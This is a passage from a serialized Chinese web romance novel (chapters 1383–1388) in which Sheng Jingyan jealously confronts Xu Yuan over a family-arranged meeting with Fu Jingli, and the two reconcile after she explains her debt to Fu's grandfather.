但老爷子说许愿喜欢他这件事,傅京礼其实内心存疑,所以他才想跟许愿接触,他想知道许愿对他是不是真的有其他感情。 与老爷子通话之前,傅京礼对这桩婚事,更多的是出于对爷爷的尊重,以及对家族责任的承担。他内心是有些抗拒的,认为这不过是一场利益交换的联姻。 但此刻,他的心态,已经发生了根本性的转变。 他不再仅仅是为了爷爷,也不仅仅是为了家族利益。 他开始对许愿这个人,产生了真正的兴趣。 他甚至有点期待跟许愿的见面了。 …… 夜色如墨,城市的霓虹在车窗外流动成一片斑斓的光影。盛景炎的车平稳地行驶在宽阔的街道上,车内气氛安静而和谐,唯有空调轻柔的送风声在低低回响。 许愿侧脸望着窗外,路灯的光晕在她清丽的侧脸上投下斑驳的影子,思绪还停留在拍卖会上的种种。 手机忽然震动起来,打破了车内的宁静。 许愿拿起手机,屏幕上显示的是“傅爷爷”。 她微微一怔,下意识地看了一眼正在专注开车的盛景炎,随即接通了电话。 “阿愿,听说你今晚去参加了拍卖会?”傅老爷子熟悉而爽朗的笑声从听筒里传来,带着一贯的慈爱和关怀,“有拍到喜欢的东西吗?要我说这次拍卖会上的东西品质倒是一般,你应该是瞧不上眼的。如果想要什么珍品,大可以来爷爷的库里面挑东西。” 许愿唇角不由自主地弯起一抹浅笑,声音温软地回应:“爷爷您就别笑话我了,我也没那么大的追求,今晚也没遇到特别心动的拍品,倒是看了一场热闹。” 她的语调谦和,带着几分晚辈对长辈的亲近与随意,丝毫没有对外的疏离与傲气。 傅老爷子“呵呵”一笑,语气里满是宠溺:“你总是跟我这样客气。” 他顿了顿,话音一转,带着几分试探和郑重,“阿愿,我给阿礼打了电话,阿礼说想要见一见你,我给你们定了华庭包厢。听说他们最近研究出了新口味的红酒樱桃派,刚好你可以尝尝看。” 老爷子的声音洪亮而清晰,车内空间并不大,这番话一字不落地传入了盛景炎的耳中。 他握着方向盘的手指微微一顿,但很快又恢复了自然。 他的表情没有丝毫变化,依旧目视前方,专注地驾驶着车辆,仿佛对电话内容毫不在意。 然而,他那微微放慢的车速和骤然变得深邃的眼神,却泄露了他内心的一丝波澜。 许愿在听到“傅京礼”三个字时,清澈的眼眸里闪过一丝不易察觉的讶异。 她下意识地坐直了身子,握着手机的手指也微微收紧。 她没想到傅老爷子的动作这么快,更没想到傅京礼会主动提出见面。 “好啊,爷爷您安排就好。”她温顺地应下,声音里听不出太多波澜。 傅老爷子听到她的应允,显得十分高兴,又絮絮叨叨地叮嘱了几句,才心满意足地挂断了电话。 电话挂断后,车内重新陷入了安静。许愿将手机放回包里,目光不经意地扫过窗外,却发现这条路并非是送她回家的方向。 她微微蹙眉,疑惑地看向盛景炎:“盛景炎,这条路……不是去我家的吧?” 盛景炎这才侧过头,给了她一个安抚性的微笑,声音依旧温润如玉:“老爷子不是说给你和傅京礼定了华庭的包厢吗?我送你过去。” 他的语气自然得仿佛在说一件再平常不过的小事,没有丝毫的勉强或醋意。 但许愿却从他那过于平静的语调里,捕捉到了一丝若有若无的疏离感。 她的心头莫名地有些发紧,像是有什么东西横亘在了他们之间。 第1383章 谈婚论嫁吗,阿愿? “你都听到了?”许愿低声问,语气里带着一丝不确定。 盛景炎轻轻“嗯”了一声,目光重新投向道路:“傅老爷子的声音不小。” 他顿了顿,又补充道,“你不必有压力,既然答应了老爷子,就去见见吧。” 他的语气依旧温和,但许愿却觉得,这温和之下,似乎藏着一些她读不懂的复杂情绪。 她张了张嘴,想说些什么,却又觉得现在的盛景炎态度有些古怪,她只能勉强笑了下说“不是约的今天,是约的明天。” 车内的气氛却悄然变得微妙而紧张。 许愿的眸光在昏黄的车内灯光下闪烁不定,她的心跳仿佛被窗外的夜色和车内压抑的沉默共同拨动着。 她转过头,目光与盛景炎交汇,那双平日里总是含着温柔笑意的眼眸,此刻却带着一丝探究和不确定。 她轻声问道:“你真的愿意我去见傅京礼吗?” 盛景炎忽然笑了,笑容如春风拂面,温文尔雅。 他微微侧过头,眉眼弯弯,像极了平日里那个无所不能、从容不迫的盛家少爷。 他低低开口,声音带着磁性与蛊惑:“你想要我回应什么呢,阿愿。” 他又在叫她“阿愿”了。 每一次这个称呼从他唇齿间逸出,都仿佛带着无形的勾引和撩拨。 许愿总觉得,盛景炎在叫她名字的时候,就像在轻柔地拉扯她的心弦,用温柔又隐秘的方式,将她牢牢地吸引在自己的世界里。 那声“阿愿”,总能让她的心跳漏掉半拍,仿佛被他用看不见的丝线轻轻一拉,灵魂就失了分寸。 许愿心里暗自咬牙,很想狠狠瞪他一眼,却偏偏在他温润的目光下,生不出半点真正恼怒的勇气。 她的心湖已经因他的笑、他的声音,泛起层层涟漪。 就在她怔愣间,盛景炎忽然伸出手,自然而然地握住了她搁在膝上的纤细手指。 他的手掌温热有力,指腹带着薄薄的茧,轻轻摩挲着她的手背,然后,慢慢地、一点点地收紧了力道。 那力道并不粗暴,却带着不容挣脱的掌控感,像是无声的宣告,又像是某种执拗的占有。 “阿愿,你想听我说什么呢?”他的声音低沉下来,像是夜色中流淌的溪水,温柔却又暗藏漩涡。 他的目光牢牢锁住她,那双平日里总是含着笑意的桃花眼,此刻笑意更深,仿佛能将人溺毙其中。 然而,许愿却敏锐地捕捉到了,在那片璀璨笑意的深处,藏着一抹极淡、却真实存在的晦暗。 她能感觉到,那笑意并未真正抵达他的眼底。 那双深邃的眼眸,表面波光潋滟,内里却仿佛结了一层薄冰,冷静而克制。 许愿甚至能从那双眼睛里,读出一丝压抑着的、不易察觉的怒意。 他在生气。 这个认知让许愿的心猛地一紧。 盛景炎,他真的在生气。 是因为她答应了要去见傅京礼吗? 是因为她即将赴一场所有人都心知肚明的“相亲”之约吗? 许愿的指尖在盛景炎的掌心里微微蜷缩了一下,她的心跳不由自主地加快。 盛景炎在意她,这是她早已察觉的秘密。而此刻,她这个他心仪的人,就坐在他的车上,亲口答应了要去见另一个男人,而且,那个男人还是她曾经默默喜欢过、暗恋过的傅京礼。 这场“见面”,傅老爷子的意图昭然若揭,说是相亲,半点不为过。 盛景炎怎么可能不在意? 他不是圣人,更不是一个对她毫无感觉的旁观者。 如果他对此无动于衷,那他恐怕都不算是一个有血有肉、有占有欲的正常男人了。 车内狭小的空间里,空气仿佛凝固了。 他们的目光在昏暗的光线下胶着,无声地进行着一场激烈的拉锯战。 许愿想从他的眼神里找出答案,却只看到那片深不见底的温柔漩涡。她试图抽回自己的手,却被他握得更紧。 “为什么不回应我?”盛景炎再次开口,声音里带着一丝不易察觉的沙哑,像是压抑着某种情绪。 他的目光灼灼,仿佛要将她整个人看穿。那双眼睛里,有笑意,有温柔,有深沉的探究,更有几分许愿无法言说的复杂。那是一种混合着不甘、醋意、甚至是一丝受伤的眼神,被他用强大的自制力包裹在最深处。 许愿被他看得心慌意乱,她试图移开视线,却发现自己根本无法从他的目光中逃脱。 那双眼睛就像有魔力一般,让她沉溺其中,无法自拔。她能清晰地感受到他掌心的温度,那温度仿佛要将她灼伤。 “盛景炎……”她轻唤他的名字,声音带着一丝连她自己都未察觉的颤抖。 “嗯?”他应着,声音低沉而富有磁性,像是情人间的呢喃。 他的拇指在她的手背上缓缓摩挲,那动作轻柔得像是在安抚一只受惊的小猫,却又带着不容置喙的强势。 许愿的呼吸微微一滞,她的心跳如鼓。 她知道,此刻的盛景炎,正处于一种极其危险的状态。 他的温柔是假象,他的笑意是伪装,他眼底深处的那抹怒意和受伤,才是最真实的他。 他是在用这种方式,无声地表达着他的不满,他的占有欲,以及他无法言说的爱意。 这是一种极致的暧昧和拉扯。 他们彼此靠近,却又隔着一层看不见的薄膜。 他们心意相通,却又无法坦诚相待。盛景炎在试探她的底线,也在试探她的心。而许愿,在他的注视和掌控下,内心早已兵荒马乱。 她忽然有些害怕,害怕自己会在这场拉锯战中彻底迷失。她害怕自己会沉溺于他的温柔,而忘记了自己要去见的人是傅京礼。 她更害怕,自己会伤害到眼前这个用尽全力在爱着她的男人。 “我……我只是去见一面,”她试图解释,“只是谈一谈。” “谈什么?”盛景炎轻声反问,笑意盈盈地看着她,眼底的冰层却未见融化,“谈婚论嫁吗,阿愿?” 他的语气轻飘飘的,却像一记重锤,狠狠砸在许愿的心上。 她张了张嘴,却发现自己无言以对。 第1384章 为什么不回应我呢? 盛景炎说得没错,傅老爷子安排这场见面的目的,大家都心知肚明。 谈婚论嫁,这四个字,像一道无形的枷锁,将她和傅京礼的名字紧紧相连。 车内再次陷入沉默。 盛景炎依旧握着她的手,目光深沉地看着她,那眼神里的情绪复杂得让人看不懂。 许愿能感觉到他的情绪波动,她甚至能感觉到他内心的风暴。 他没有质问,没有阻拦,只是用这种方式,默默地表达着他的在意和不舍。他的沉默,比任何激烈的言辞都更有力量。 她忽然很想告诉他,她对傅京礼,早已不是当初那份懵懂的喜欢。 “盛景炎,”她再次轻唤他的名字,“别这样。” “哪样?”他反问,唇边的笑意加深,眼底的晦暗却更浓。他缓缓凑近,温热的气息喷洒在她的耳畔,声音低沉而蛊惑,“阿愿,你告诉我,我该怎样?看着你去见别的男人,然后祝福你吗?” 他的气息萦绕在她周身,带着熟悉的清冽味道,将她整个人包裹。 许愿的身体僵硬,心跳几乎要跳出胸腔。她能清晰地感觉到他的情绪,那是一种濒临爆发边缘的克制。 “你明知道……”她喃喃道,声音细若蚊蚋。 “我知道什么?”盛景炎的声音带着一丝压抑的沙哑,他的目光灼灼,仿佛要将她燃烧,“我知道你喜欢傅京礼?还是知道,你不得不去赴这场约?” 他一字一句,像刀子一样,精准地剖开了她所有的伪装和逃避。 许愿的心,被他的话刺得生疼。 她无法否认,也无法逃避。 “盛景炎……”她的声音里带着一丝无助。 他看着她泛红的眼眶,眼底的冰层终于有了一丝裂痕。 他缓缓松开她的手,坐直了身体,深深地看了她一眼,然后,重新发动了车子。 “我送你上去。”他的声音恢复了平静,仿佛刚才那场激烈的拉扯和暧昧,都只是她的错觉。 但许愿知道,那不是错觉。 盛景炎的在意,他的生气,他的不甘,都是真实存在的。 他只是将所有的情绪,都深深地藏在了心底,用一层温柔的伪装包裹起来。 车内昏黄的灯光洒下,将两人笼罩在一片暧昧不明的光影里。 许愿没有立刻推开车门,她的身体还陷在座椅的柔软里,目光却不由自主地、牢牢地钉在了盛景炎的身上。 他的侧脸在光影下显得轮廓分明,平日里总是带着漫不经心笑意的眉眼,此刻却笼上了一层淡淡的、难以言说的复杂情绪。 片刻的沉默后,许愿忽然伸出手,将一直抱在怀里的那个Q版娃娃,不轻不重地丢到了盛景炎的脸上。 那娃娃是她最近的心头好,憨态可掬,穿着一身精致华贵的小裙子。 裙子本身或许并不算什么,昂贵之处全在于裙摆和肩带上那几颗熠熠生辉的宝石,每一颗都价值不菲,是盛景炎特意找人镶嵌上去的。 他说,她喜欢这个娃娃的样子,那就要配得上她的眼光。 娃娃软软地砸在盛景炎的脸上,又滑落下来,被他下意识地接住。 他垂下眼眸,看着怀里这个小小的、精致的玩偶,嘴角缓缓地、慢慢地勾起一抹笑。 那笑容依旧是他惯常的温文尔雅,可仔细看去,那笑意却并未真正抵达眼底。 在那双深邃如潭的眼眸深处,翻涌着的,是一片浓得化不开的落寞。那是一种被全世界理解,唯独不被她看透的孤寂,像是一层薄薄的凉意,悄无声息地蔓延开来,将他整个人包裹。 他没有生气,也没有责怪她的任性,只是低低地笑了,笑声在狭小的车厢里回荡,带着一丝自嘲,一丝无奈,还有一丝不易察觉的苦涩。 “阿愿,”他开口,声音比以往任何时候都要低沉,都要温柔,也都要疏离,“还有什么没有说的吗?” 他的目光终于从娃娃身上抬起,重新落在许愿的脸上。 盛景炎目光灼灼,试图穿透她伪装的平静,看到她内心最真实的想法。 许愿被他看得有些发慌,却又倔强地迎上他的视线。两人就这样对视着,她看着他眼底那抹挥之不去的落寞,心中某个地方像是被针尖轻轻刺了一下,细微的疼,却蔓延至全身。 终于,她像是忍无可忍,带着一丝讥诮和了然,一字一句地开口:“盛景炎,你再演??” 她的声音不大,却像一颗石子,投入了盛景炎心中那片看似平静的湖水,激起了千层浪。 盛景炎闻言,脸上的笑容非但没有收敛,反而更加灿烂了。 他微微歪着头,桃花眼里盛满了无辜和不解,轻声反问:“阿愿,我听不懂你在说什么呢。” “听不懂?”许愿冷笑一声,眼神锐利如刀,仿佛要将他那层精心伪装的皮囊剥开,“盛景炎,你根本就不是这种会轻易受伤的男人。在我面前胡乱演什么?演给谁看呢?演得爽吗?刺激吗?” 她的质问,带着她自己都未曾察觉的尖锐和心疼。 她看穿了他的伪装,看穿了他故作落寞下的真实意图。 可即便如此,她的心,还是因为他此刻的样子而感到一阵阵的揪紧。 盛景炎确实是在演。 他将自己内心的那点怒意和醋意,无限放大,再裹上一层脆弱的糖衣,呈现在她面前。 他就是想让她看到,想让她感受到他的情绪,想让她知道,她的选择,会让他多么的不安和痛苦。 他想用这种方式,撬开她的心防,得到她的回应。 他捏着那个Q版娃娃,指腹无意识地摩挲着裙摆上那颗冰冷的宝石,发出一声极轻的、带着嘲弄的笑。 可他的眸光,却在这一刻愈发晦暗了,像暴风雨前压抑的天空,沉闷得让人喘不过气。 他盯着许愿,一字一顿,声音里带着一种近乎偏执的坦白:“对啊,阿愿,我就是在演啊。”他顿了顿,目光灼灼,仿佛要将她烧穿,“你既然能感受得到,为什么不回应我呢?” 他的问题,像一记重锤,狠狠砸在许愿的心上。 她张了张嘴,却发现自己无言以对。 第1385章 不是去跟傅京礼相亲 她能感受到什么? 感受到他的爱意? 他的占有欲? 还是他此刻强装出来的脆弱和悲伤? 盛景炎没有给她思考的时间,他继续说着,声音里带着一种压抑的、疯狂的占有欲:“阿愿,我不是什么好人。我喜欢你,从很早很早以前就开始了。我喜欢你,所以我就是想把你困在我身边,用尽一切手段。” 他的声音低沉下去,带着一丝阴郁的狠戾,“当我听到你同意要去见傅京礼的时候,我第一个念头,就是把你关起来,锁起来。这样,你就没办法抛弃我,去选择其他男人了。” 他的告白,坦白得近乎残忍。 他没有粉饰自己的情感,没有将爱意描绘成多么高尚的东西。 他承认自己的自私,承认自己的偏执,承认自己那些见不得光的、想要将她据为己有的念头。 车内陷入了死一般的寂静。 许愿怔怔地看着他,大脑一片空白。 她知道盛景炎喜欢她,但她从未想过,这份喜欢,会如此浓烈,如此偏执,可意外的,她并不会因此害怕。 “知道我为什么没有这么做吗?”盛景炎忽然自嘲地笑了,那笑容里充满了无奈和心酸,“因为我太喜欢你了。我舍不得你伤心,舍不得你难过。” 他低下头,长长的睫毛在眼下投下一小片阴影,声音轻得像叹息,“真矫情啊,明明想要的东西那么多,可只是想到你会因此难过,我就会承受不住。” 他的声音很轻,却像惊雷一样,在许愿的耳边炸响。她的心,在这一刻,被巨大的震惊和一种莫名的酸楚所填满。 她看着他,看着他眼底的落寞和痛苦,看着他故作坚强下的脆弱,看着他因为爱她而生出的疯狂和无奈。 她怔然了。 她一直以为,盛景炎是那个游刃有余、掌控一切的人。 他的温柔,他的体贴,他的包容,都让她觉得,他是一座永远不会崩塌的靠山。 可她却忽略了,再强大的人,内心也会有柔软和脆弱的一面。 他是在向她示弱,用他自己的方式。 他将自己最不堪、最偏执的一面展现给她看,不是为了吓唬她,而是为了让她明白,他的爱,有多深,有多痛。 许愿的心,乱了。 她看着他,目光在他的脸上流连,试图从他那张依旧带着笑意的脸上,找出一丝玩笑的痕迹。 但她没有找到。 她看到的,只有认真,只有深情,只有一份让她几乎要溺毙其中的、浓烈的爱意。 她忽然有些喘不过气。 这份爱,太过沉重,也太过炙热。 她不知道自己该如何回应,该如何面对。 “盛景炎……”她轻唤他的名字,声音里带着一丝连她自己都未察觉的颤抖和茫然。 盛景炎抬眸看她,眼底的晦暗似乎淡了一些,但那份落寞依旧挥之不去。 他将手中的娃娃轻轻放在一旁,身体微微前倾,拉近了与她的距离。他伸出手,指尖轻轻碰了碰她的脸颊,动作温柔得不可思议。 “阿愿,”他低声说,声音里带着一丝不易察觉的乞求,“别去见他,好不好?” 他的眼神,像一只被主人遗弃的大型犬,充满了无助和期盼。 那不再是盛景炎,不再是那个高高在上、运筹帷幄的盛家少爷。 此刻的他,只是一个深爱着她的男人,一个害怕失去她的男人。 许愿的心,在他的注视下,一点点地软化。她看着他眼底的深情和脆弱,看着他为了她而生出的疯狂和克制,心中最坚硬的那块地方,悄然瓦解。 她没有回答他的问题,只是伸出手,覆在了他放在自己脸颊上的那只手上。 他的手,有些凉,却在她的触碰下,微微颤抖。 两人就这样对视着,彼此的目光在昏暗的光线下纠缠,像两股纠缠的藤蔓,不分彼此,难舍难分。 空气中弥漫着一种极致的暧昧和拉扯,那是理智与情感的交锋,是逃避与靠近的挣扎,是两颗心在极限拉扯中,逐渐靠近的悸动。 盛景炎的内心,此刻是翻涌的。他表面平静,甚至带着一丝笑意,可内心却早已是惊涛骇浪。 他看着许愿,看着她眼底的震惊、茫然、心疼和一丝不易察觉的动摇,他知道自己赌对了。 他将自己的脆弱和偏执展现给她看,就是为了让她看到他的真心,他的在乎。 他不怕她看到他的疯狂,他只怕她永远都看不到他的深情。 他可以容忍她在别的事情上任性,在别的事情上与他作对,唯独在感情这件事上,他容不得半点沙子。 他无法接受她投入别人的怀抱,无法接受她与别的男人相亲。 他的占有欲,他的控制欲,在这一刻,因为爱她,而变得如此强烈,如此无法抑制。 而许愿,此刻的内心,更是兵荒马乱。她一直以为自己对傅京礼有着一份特殊的情感,可当盛景炎将他那份浓烈到偏执的爱意摆在她面前时,她才发现,自己的心,早已在不知不觉中,被这个男人一点一滴地占据。 他根本无法抗拒盛景炎啊。 许愿怔然地看着盛景炎,他眼底的深情如潮水般汹涌,那痛苦与挣扎,像无数根细密的丝线,层层缠绕,勒紧了她的心。 空气仿佛凝固,只剩下彼此的呼吸在狭小的空间里交织,带着一种难以言说的暧昧和紧张。 她看着他,目光在他的脸上流转,那双总是带着漫不经心笑意的眼眸,此刻却盛满了只有她才能读懂的脆弱和期盼。 长久的沉默后,许愿像是很轻很轻地叹了口气。 那叹息声极轻极柔,像一片羽毛,飘落在盛景炎紧绷的心弦上,带来一丝微不可察的颤动。 她垂下眼帘,长长的睫毛在眼下投下一小片阴影,遮住了眼底复杂的情绪。 她缓缓开口,声音带着一丝不易察觉的疲惫和无奈。 “盛景炎,”她轻唤他的名字,声音里夹杂着一丝安抚,一丝解释,还有一丝连她自己都未曾察觉的柔软,“我不是去跟傅京礼相亲。” 第1386章 解释 他身体微微一僵,灼灼的目光依旧没有从她脸上移开,仿佛要从她的每一个表情里,捕捉到最真实的信息。 许愿顿了顿,像是在组织语言,又像是在平复自己内心的波澜。 她抬起头,重新迎上他的视线,目光清澈而坚定。 “我也……”她微微停顿,唇角勾起一抹自嘲的弧度,“我也没想去跟傅京礼相亲。”她一字一顿,语气里带着一种斩钉截铁的决绝,“傅京礼现在身边有了许宁了。我还没有下贱到要去跟许宁抢男人的地步。” 她的声音不大,却掷地有声。每一个字,都像是一记重锤,敲打在盛景炎的心上。 他眼中的晦暗和紧张,在这一刻,似乎被她这番话驱散了一些,但那份警惕和不安,依旧残留在他的眼底深处。 许愿的目光变得有些悠远,像是在回忆什么,又像是在解释给自己听。她继续说道:“盛景炎,你不要太幼稚。”她的语气里带着一丝无奈,“我和傅京礼之间,早就过去了。那些年少时的喜欢,早就随着时间烟消云散了。现在的我对他已经没有任何想法。” 她说到这,看向盛景炎:“我之所以答应去见傅京礼,只是因为没办法拒绝傅老爷子。”她的眼中闪过一丝无奈和疲惫,“你知道的,傅老爷子对我有恩。如今,他老人家亲自开口,让我去陪他说说话,见见傅京礼,我……我实在是没办法拒绝。” 她的声音低了下去:“就这么简单。没有你想的那么复杂,也没有什么见不得人的目的。我只是……只是没办法拒绝一个老人的请求罢了。” 傅老爷子于许愿而言,是恩人。 在许家,许愿的日子远没有外人看来那般风光。 许镇江,古板、强势又重利,对子女的教育和人生规划,有着自己一套刻板而功利的标准。他所期望的女儿,是能为家族利益联姻的棋子,是温顺听话、符合传统定义的名媛,而不是一个有着自己想法、渴望独立和追求的个体。 许愿想学的,想接触的,在许镇江眼中,都是“不务正业”,是“女孩子家不该碰的玩意儿”。她对艺术的热爱,在他看来是浪费时间;她对商业的兴趣,在他看来是异想天开,她渴望独立,渴望用自己的双手去创造一番天地,在他看来更是天方夜谭,是对家族规矩的挑衅。 如果不是傅老爷子的暗中帮扶,许愿的人生或许早已被许镇江规划成了一条她极度厌恶的轨道。 是傅老爷子在她想接触商业信息却被许家封锁时,不动声色地将最新的行业报告“遗落”在她能接触到的地方,更是傅老爷子,在她想要创业却被许镇江断然拒绝甚至嘲讽她不自量力时,伸出了援手。 那第一桶金,是许愿人生的转折点。 许镇江不会给她任何创业的资金,甚至会想方设法阻挠。 是傅老爷子,看出了她眼中的不甘和野心,以一种近乎“投资”的、不让她难堪的方式,为她提供了启动资金。 那笔钱,对于傅家来说或许不算什么,但对于当时的许愿而言,却是撬动整个未来的支点。 她带着这份沉甸甸的信任和期望,一头扎进了风起云涌的股市。 凭借着自己的敏锐和傅老爷子偶尔的点拨在市场的浪潮中搏击,一点点地将那笔资金像滚雪球般壮大。 每一次成功的交易,每一次资本的累积,都不仅仅代表着财富的增加,更代表着她离独立和自由又近了一步。而这一切的起点,都源于傅老爷子当初的那一次援手。 这份恩情,早已深深刻在许愿的心里,不是简单的“谢谢”二字可以概括的。 因此,于公于私,许愿对傅老爷子都怀有深深的感激之情。 傅老爷子是少数几个,不以许家的标签去看待她,而是真正看到她这个人本身价值的人。他尊重她的想法,鼓励她的追求,哪怕这些追求在别人看来是多么的“离经叛道”。 所以,当傅老爷子出面,提及想让她去见见傅京礼,想让她陪自己说说话时,许愿根本无法直接拒绝。 傅老爷子是何等精明的人物,他并没有直接点明是“相亲”,只是以一个长辈思念晚辈、想让孩子们聚一聚的名义来邀请。 这种模糊的、带着温情的请求,让许愿更加难以开口。 如果傅老爷子直言是相亲,许愿或许还能以更坚决的态度,更明确的理由去推辞。但傅老爷子没有,他给了她足够的体面和余地,这反而让许愿无法将话说得太绝。 只要傅老爷子和傅京礼那边没有人直接开口提及“相亲”二字,许愿现在就不好直接拒绝。 她不能拂了老爷子的面子,不能显得自己不知感恩、不近人情。 她只能先应下,再寻找合适的时机和方式去委婉地表达自己的立场。 这不仅仅是一种社交的策略,更是她对傅老爷子这份恩情的尊重和回报。 她不能让老爷子觉得,自己是一个忘恩负义、过河拆桥的人。 事实上,能让许愿发自内心尊重的人,并没有太多。 许家的那些人,更多是让她感到压抑和疏离,商场上的对手和伙伴,大多是利益的往来,难言真正的尊重。而傅老爷子,是为数不多的一个。 她尊重他的为人,感念他的恩情,因此,对于他的请求,她无法做到轻易地说“不”。 这份尊重和感激,也让她在面对这件事时,显得有些束手束脚,她不能像对待其他人那样,用强硬的态度去回绝,她必须顾及老爷子的感受,顾及这份多年的情谊。 她知道,傅老爷子或许也有自己的考量,或许是出于对傅京礼的关心,或许是出于其他家族的因素。 但无论如何,这份恩情,这份尊重,让她无法简单地用一句“我不想去”来回应。 车内再次陷入沉默。盛景炎静静地听着,他眼中的风暴,在她这番平静而坦白的叙述中,渐渐平息。 那份因嫉妒和不安而生出的疯狂和偏执,在她清澈的目光和无奈的解释下,一点点地褪去。 第1387章 阿愿你弄疼我了 他看着她,看着她眼底的坦然和一丝疲惫,看着她为了一个承诺,为了一个恩情,而不得不委屈自己的模样。 他的心,在这一刻,被一种复杂的情绪所填满。有释然,有心疼,有愧疚,还有一种失而复得的庆幸。 他一直以为,她是去和他相亲是去选择另一个男人。所以他才会如此失控,才会如此偏执地想要将她据为己有,才会用那种近乎疯狂的方式来试探她,挽留她。 原来,一切都只是他自己的臆想,是他内心不安和恐惧的投射。 他以为她要离开,所以才用尽手段想要将她绑在身边。 却忽略了,她也有她的苦衷也有她的无奈,她也有她无法割舍的恩情和道义。 盛景炎的心,在这一刻,像是被什么东西狠狠揪了一下,疼得厉害。他并不为自己的狭隘和偏执感到愧疚,因为他本身就是这样的人,但他却会为她所承受的委屈感到心疼。 他伸出手,这一次,不再是试探,不再是乞求,而是带着一种深深的歉意和怜惜,轻轻地、紧紧地握住了她的手。 她的手有些凉,他用自己的掌心,将她的手完全包裹住,试图传递给她一些温暖。 “阿愿……”他低声唤她,声音里充满了复杂的情绪,其中有更深的爱意,“对不起。” 他为自己的猜疑和任性,向她道歉。 许愿没有挣脱他的手,她感受着他掌心传来的温度,那温度,一点点地驱散了她心中的寒意和疲惫。她看着他,看着他眼底的歉意和深情,心中那块一直悬着的石头,终于缓缓落地。 她轻轻回握住他的手,声音轻柔:“盛景炎,我不是你必须用手段才能留住的人。” 盛景炎控制不住的脸上都是笑意,好像自己整个人在此刻都已经僵掉了,只会笑了。 盛景炎自己都说不清楚,为什么会这样喜欢许愿,喜欢到什么地步?这似乎是一个谜,连他自己都解不开。 喜欢到只要远远地看见她,嘴角就不自觉地扬起,不管自己原本心情如何,只要视线锁定她,世界就仿佛只剩她一人。 她的喜怒哀乐像是一根无形的线,牵动着他的心弦。她开心,他的世界便阳光灿烂,她难过,他的天空仿佛乌云密布。 这样在意许愿,已经成了他生命中的一种本能,一种无法割舍的习惯。 他以前从不知道,自己原来真的是个恋爱脑。在其他异性面前,他永远像一座孤岛,波澜不惊。那些莺莺燕燕的靠近、有意无意的暗示,在他看来不过是无关紧要的背景音,连一丝涟漪都激不起来。 不是身体上的无感,而是心灵上,那种灵魂深处的共鸣、那种让他心跳加速、呼吸紊乱的悸动,从未有过。 唯独许愿,猝不及防地劈开了他所有的防御和理智,让他毫无招架之力。 此刻,盛景炎就那样看着许愿。 她侧脸的轮廓车内昏黄的灯光下显得格外柔和。他的目光像浸了蜜的丝线,缠绕在她身上,带着毫不掩饰的专注与温柔。 忽然,他毫无预兆地笑了起来,那笑声很低,很轻,像是从胸腔深处溢出的满足叹息,带着一丝傻气,又带着一丝沉醉。 “你知道吗,许愿,”他开口,声音里带着笑意,又夹杂着一丝不易察觉的沙哑,像是情不自禁的呢喃,“怎么办,我好像得了一种病。” 许愿正沉浸在自己的思绪里,被他这没头没尾的话拉回现实。 她抬起头,眉梢微挑,眼中带着一丝困惑和探究,“嗯?”她拖长了尾音,带着惯有的冷静,“怎么了?突然说这种话。” 盛景炎看着她那副“你又想耍什么花招”的表情,笑意更深了。 他向前倾了倾身子,拉近了两人之间的距离。 空气中仿佛有无形的电流在滋滋作响,暧昧的气息悄然弥漫。 “脑子有毛病?”许愿见他不说话,干脆自己先开了口,语气里带着几分戏谑的笑意,想用玩笑来化解这突如其来的莫名气氛。 她甚至故意扬了扬下巴,眼神里带着几分挑衅。 出乎意料的,盛景炎竟然立刻、用力地点了点头。 他深邃的眼眸一瞬不瞬地盯着她,里面翻涌着许愿看不懂的复杂情绪,有认真,有戏谑,更多的,是毫不掩饰的爱意。 许愿怔了一下,甚至以为自己是不是听错了。 她眨了眨眼,看着他那副认真的样子,心里莫名地有些发慌。 不会吧? 真脑子出问题了? 她向来镇定的脸上,难得地浮现出一丝错愕和担忧,那双清澈的眸子紧紧盯着他,像是要从他脸上找出答案。 见她真的有些着急,那副关心又无措的样子取悦了盛景炎。 他再也忍不住,低低地笑了起来,笑声在安静的空间里显得格外清晰,带着一丝得意和促狭。 许愿这才反应过来自己被耍了,脸上闪过一丝薄怒。 她有些气恼地推了他一把。那力道,对于身强体壮的盛景炎来说,简直不值一提,更像是情人间无意识的撒娇,带着几分娇嗔和无力。 盛景炎非但不躲,反而顺势伸出手,精准地握住了她推过来的手腕。 他的手掌宽大而温暖,带着薄茧,带着不容挣脱的力道,却又在触及她肌肤的瞬间,放柔了所有力量。 “阿愿,”他轻唤,声音里带着一丝委屈的控诉,尾音微微上扬,带着蛊惑人心的磁性,“你弄疼我了。” 那语气,那神情,让许愿瞬间起了一身鸡皮疙瘩。她只觉得一阵恶寒,被他这副无赖模样恶心到了。 她“呵”地一声冷笑,试图抽回自己的手,语气里带着明显的不耐和嫌弃:“盛景炎,你够了啊!到底什么病,你说不说?不说我直接走了。”她作势要起身,带着几分被戏弄后的恼羞成怒。 她越是这样,盛景炎越是不舍得放开。 他眼疾手快,长臂一伸,直接将她整个人都揽入怀中。他的动作霸道而温柔,带着不容置疑的占有欲。 第1388章 阿愿,我好像是个恋爱脑 许愿猝不及防,整个人跌入他温暖而坚实的怀抱,鼻尖萦绕着他身上清冽又好闻的气息。 他没有松开,反而将下巴抵在她的肩膀上,像一只大型犬一样,轻轻地蹭了蹭。那动作亲昵而依赖,带着一丝撒娇的意味。 他的呼吸,温热地喷洒在她的颈侧,激起一阵细微的战栗。 许愿的身体先是僵硬,随后在他的温柔攻势下,一点点地软化下来。 她能清晰地感受到他胸膛的起伏,听到他沉稳有力的心跳,那心跳声,仿佛与自己的心跳渐渐重合。 就在她以为他不会再回答的时候,盛景炎低沉而沙哑的声音,在她耳边缓缓响起,带着一丝叹息,又带着一丝认命的坦然。 “阿愿,完蛋啦,”他轻声说,每一个字都像是从心底最柔软的地方溢出来,带着滚烫的温度,“我好像是个恋爱脑。” 他的气息拂过她的耳廓,让她不由自主地缩了缩脖子。 “看到你的那一刻,”他继续说着,声音里带着一丝梦幻般的迷醉,“就坠入爱河了。又掉河里,又恋爱脑的,我好像没救了。” 他说得认真,语气里带着一丝自嘲,更多的,却是甘之如饴的沉溺。 那“恋爱脑”三个字,从他口中说出,没有丝毫的贬义,反而像是一句最深情的告白,带着破罐子破摔的执着和甜蜜。 许愿:“……” 她此刻的内心,是彻底的无语。 她想推开他,却发现自己的双手不知何时,已经下意识地抓住了他胸前的衣襟。 她想咒骂他是不是真的有毛病,却又觉得喉咙发紧,一句话都说不出来。 脸颊上,不受控制地浮起两抹红晕,像晚霞染透了天边。 空气中弥漫着暧昧的因子,两人之间的距离近得能数清彼此的睫毛。 盛景炎抱着她,感受着她身体的柔软和温度,心中的满足感几乎要溢出来。 